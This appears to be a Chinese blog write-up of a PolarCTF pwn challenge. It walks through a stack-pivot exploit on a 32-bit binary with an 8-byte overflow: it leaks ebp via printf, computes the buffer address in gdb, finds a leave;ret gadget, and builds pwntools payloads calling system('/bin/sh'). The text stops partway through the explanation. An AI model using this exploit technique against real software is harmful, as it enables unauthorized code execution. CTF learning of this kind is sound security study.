Polarctf靶场做题——8字节能干什么（我觉得好详细哦）

最新推荐文章于 2024-07-25 09:37:56 发布

巴啦啦不亮呢

最新推荐文章于 2024-07-25 09:37:56 发布

阅读量411

点赞数 1

文章标签：安全

本文链接：https://blog.csdn.net/2301_76262491/article/details/133797384

版权

哎~就这题我一看名字我就知道这个是栈迁移，然后ida一看果然是栈迁移

一个小白能有什么坏心思呢，只是想做题提升一下罢了哎~

啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊（来自一个小白的无能狂吼）

那就先看看这个程序吧

32位的，没开别的东西

直接看ida有一个vuln函数。

int vuln()
{
  int buf[11]; // [esp+8h] [ebp-30h] BYREF

  memset(buf, 0, 40);
  read(0, buf, 0x38u);
  printf("%s", (const char *)buf);
  read(0, buf, 0x38u);
  return printf("%s", (const char *)buf);
}

分析一下，

1. read函数输入buf，可以溢出8个字节，然后printf函数输出buf

2. 再一次read函数输入buf，然后再输出buf

就没了。。。。

那我们应该怎么办

思路

由于题里没有'/bin/sh',所以我们就把/bin/sh写入栈里，然后通过地址去调用/bin/sh

由于可以溢出的字节太少了，所以我们就要就要换一个地方去当作我们的栈，其实按照我的理解啊，有esp的地方才是栈，所以我们要把esp的位置改以一下。

所以我们可以以ebp的地址作为基准（因为这个地址是可以获得的），然后我们可以通过ebp的地址找到buf在栈上的地址，那么我们就把栈迁移到这个位置，因为这个地方够大而且也可以容易找到。

那么我们来实际操作一下，来找ebp_addr, buf_addr

ebp

在第一次输入输出的时候，ida显示buf距离栈底是0x30字节。那我们把buf的0x30字节覆盖之后的下一个位置就是ebp（这个应该都知道吧），然后printf（“%s"）输出，会把buf的整体都输出，一直输出到'\0',但是ebp是有值的，不是'\0',所以会把ebp连带着一起输出，那我们就借着这个输出把ebp输出就好了，所以我们先用'a' 填充0x2f 个字节（距离0x30还剩一个字节），然后再输入'b'（弄个和之前输入不一样的），因为我们printf会把0x30个数据都会输出，然后才会输出ebp，那我们先接收0x30个数据，（用b作为分割），就会方便很多

payload = b'a' * 0x2f + b'b'

io.send(payload)
io.recvuntil("b")
ebp_addr = u32(io.recv(4))

buf_addr

buf的地址咱们用gdb看

咱们下断点到read函数那里 b *0x08048545

然后 r 运行然后 n 下一步

输入 aaaaaaaa

然后我们看栈 stack 30

在这里我们要注意一下，buf的值就是框框的地址，但是ebp的值就需要注意，ebp那一行有俩地址，其中左边第一个是ebp的位置，框框里的是我们之前泄露的地址，所以我们要使用泄露的地址去相减，所以是0xffffd108 - 0xffffd0c8 = 0x40

所以buf_addr = ebp_addr - 0x40

所以现在我们就知道了ebp_addr, buf_addr。这些都是准备工作

然后我们还需要寻找一个汇编指令 ” leave ret “

ROPgadget --binary pwn --only "leave|ret"

找到leave;ret的地址，那这个指令有什么用呢？

leave：分两步

1. mov esp, ebp //把ebp的值给esp，，也就是让esp指向ebp的位置

2. pop ebp //把esp指向的内容给ebp

ret ：就一步

pop eip //把esp指向的内容给eip，让程序执行

我们先构造payload

payload = (b'aaaa' + p32(system_addr) + p32(1) + p32(buf_addr + 0x10) +  b'/bin/sh')

payload = payload.ljust(0x30, b'\x00') + p32(buf_addr) + p32(leave_ret)

然后我们看栈上